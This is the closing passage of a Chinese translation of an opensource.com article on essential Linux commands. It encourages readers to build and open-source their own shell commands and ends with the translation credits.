脚本，从而实现了根据自己想要的工作方式定制工作流程。你为自己的效率和舒适度而设计的命令也可以作为 shell 中的基本命令。花些时间了解一些很棒的命令，然后试着构建自己的命令吧。当你构建出的命令非常好用时，把它开源，这样就可以与他人分享你的想法啦！via: https://opensource.com/article/21/9/essential-linux-commands作者：Seth Kenlon 选题：lujun9972 译者：unigeorge 校对：wxy本文由 LCTT 原创编译，Linux中国 荣誉推出